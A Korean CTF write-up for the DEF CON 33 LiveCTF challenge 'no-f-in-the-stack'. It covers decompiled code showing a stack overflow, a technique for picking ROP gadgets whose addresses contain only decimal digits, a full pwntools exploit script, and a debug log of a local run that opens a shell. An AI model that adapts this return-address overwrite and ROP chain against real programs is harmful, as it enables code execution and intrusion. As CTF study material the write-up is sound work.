친구 권유로 풀어봄.
새로운 사고 방향과 시각을 바라볼 수 있어 좋았음.
Thanks, 🥔
checksec
ubuntu@64a54bd8db27:~/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build$ checksec ./challenge_real
[*] '/home/ubuntu/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build/challenge_real'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
Decompiled-src / Analysis
uintptr_t stack[3]; 으로 지정되있는데, i가 1000번까지 계속 증가하면서 주소를 입력받음.
→ BOF 취약점 발생
받은 주소가 0이면, for 루프문 종료.
주소를 10진수로 입력받은 후, 다시 그 문자열을 16진수로 변환시켜 stack[i]에 저장함.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
int v7; // edx
int v8; // ecx
int v9; // r8d
int v10; // r9d
int v11; // r8d
int v12; // r9d
int v13; // r8d
int v14; // r9d
char v16; // [rsp+0h] [rbp-60h]
char v17; // [rsp+0h] [rbp-60h]
char v18; // [rsp+0h] [rbp-60h]
char v19; // [rsp+0h] [rbp-60h]
char printed_addr[16]; // [rsp+20h] [rbp-40h] BYREF
uintptr_t addr; // [rsp+38h] [rbp-28h] BYREF
uintptr_t stack[3]; // [rsp+40h] [rbp-20h] BYREF
int i; // [rsp+5Ch] [rbp-4h]
init();
for ( i = 0; i <= 999; ++i )
{
printf((unsigned int)"Addr pls: ", (_DWORD)argv, v3, v4, v5, v6, v16);
addr = 0;
_isoc23_scanf((unsigned int)"%lu", (unsigned int)&addr, v7, v8, v9, v10, v17);
if ( !addr )
break;
memset(printed_addr, 0, sizeof(printed_addr));
sprintf((unsigned int)printed_addr, (unsigned int)"%lu", addr, (unsigned int)"%lu", v11, v12, v18);
argv = (const char **)"%lx";
_isoc23_sscanf(
(unsigned int)printed_addr,
(unsigned int)"%lx",
(unsigned int)&stack[i],
(unsigned int)"%lx",
v13,
v14,
v19);
if ( !stack[i] )
break;
}
return 0;
}
Blah
system(””)을 호출하는 함수.
.text:0000000000401905 ; =============== S U B R O U T I N E =======================================
.text:0000000000401905
.text:0000000000401905 ; Attributes: bp-based frame
.text:0000000000401905
.text:0000000000401905 ; void __cdecl blah()
.text:0000000000401905 public blah
.text:0000000000401905 blah proc near
.text:0000000000401905 ; __unwind {
.text:0000000000401905 endbr64
.text:0000000000401909 push rbp
.text:000000000040190A mov rbp, rsp
.text:000000000040190D lea rax, unk_4A002C
.text:0000000000401914 mov rdi, rax
.text:0000000000401917 call system
.text:000000000040191C nop
.text:000000000040191D pop rbp
.text:000000000040191E retn
...
.rodata:00000000004A002C unk_4A002C db 0
Solution
실제론 스택 카나리가 main 함수에 적용되있지 않아 RET를 덮어 RIP 컨트롤 가능함.
중요한 점은 입력받는 주소를 스택에 16진수 값으로 저장하는데,%lu 10진수로 첨에 입력받기에 알파벳이 들어가면 안됨.
숫자로만 구성된 가젯을 찾는 명령어.
ROPgadget --binary ./challenge_real > gadgets.txtgrep -E '^0x[0-9]+ :' gadgets.txt > gadgets2.txt
/bin/sh 주소를 10진수로 잘 읽게끔 2개로 쪼갠다음, 아래 3가지의 가젯을 조합해 ROP chain으로 쉘 획득 가능하였다.
divided = "490060" divided2 = "10499" pop_rdi_pop_rbp_ret = "0000000000402218" add_rax_rdi_ret = "0000000000471885" mov_rdi_rax_system = "0000000000401914"
solve.py
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
# p = remote("127.0.0.1", 1337)
p = process("./challenge_real")
e = ELF('./challenge_real',checksec=False)
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
pop_rdi_pop_rbp_ret = "0000000000402218"
add_rax_rdi_ret = "0000000000471885"
mov_rdi_rax_system = "0000000000401914"
bin_sh = 0x00000000004A04F9
divided = "490060"
divided2 = "10499"
# >>> hex(0x490060 + 0x10499)
# '0x4a04f9'
sla(b"Addr pls: ", b"1010101041424344")
sla(b"Addr pls: ", b"2020202041424344")
sla(b"Addr pls: ", b"3030303041424344")
sla(b"Addr pls: ", b"441424344") #4 -> RET; $rbp+8,
#rax = 0
sla(b"Addr pls: ", pop_rdi_pop_rbp_ret.encode('utf-8'))
sla(b"Addr pls: ", divided.encode('utf-8')) #set rdi
sla(b"Addr pls: ", b"4040404041424344") #set rbp
sla(b"Addr pls: ", add_rax_rdi_ret.encode('utf-8'))
#rax = 0x490060
sla(b"Addr pls: ", pop_rdi_pop_rbp_ret.encode('utf-8'))
sla(b"Addr pls: ", divided2.encode('utf-8')) #set rdi
sla(b"Addr pls: ", b"5050505041424344") #set rbp
sla(b"Addr pls: ", add_rax_rdi_ret.encode('utf-8'))
#rax = 0x490060 + 0x10499 = 0x4a04f9 ('/bin/sh')
sla(b"Addr pls: ", mov_rdi_rax_system.encode('utf-8'))
sla(b"Addr pls: ", b"0")
p.interactive()
Result
ubuntu@64a54bd8db27:~/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build$ python3 solve.py
[+] Starting local process './challenge_real' argv=[b'./challenge_real'] : pid 1967
[DEBUG] '/home/ubuntu/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build/challenge_real' is statically linked, skipping GOT/PLT symbols
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'1010101041424344\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'2020202041424344\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'3030303041424344\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0xa bytes:
b'441424344\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'0000000000402218\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x7 bytes:
b'490060\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'4040404041424344\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'0000000000471885\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'0000000000402218\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x6 bytes:
b'10499\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'5050505041424344\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'0000000000471885\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x11 bytes:
b'0000000000401914\n'
[DEBUG] Received 0xa bytes:
b'Addr pls: '
[DEBUG] Sent 0x2 bytes:
b'0\n'
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x36 bytes:
b'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)\n'
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x7 bytes:
b'ubuntu\n'
ubuntu
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x57 bytes:
b'challenge\tcore\t gadgets2.txt na\n'
b'challenge_real\tgadgets.txt libc.so.6\t solve.py\n'
challenge core gadgets2.txt na
challenge_real gadgets.txt libc.so.6 solve.py
$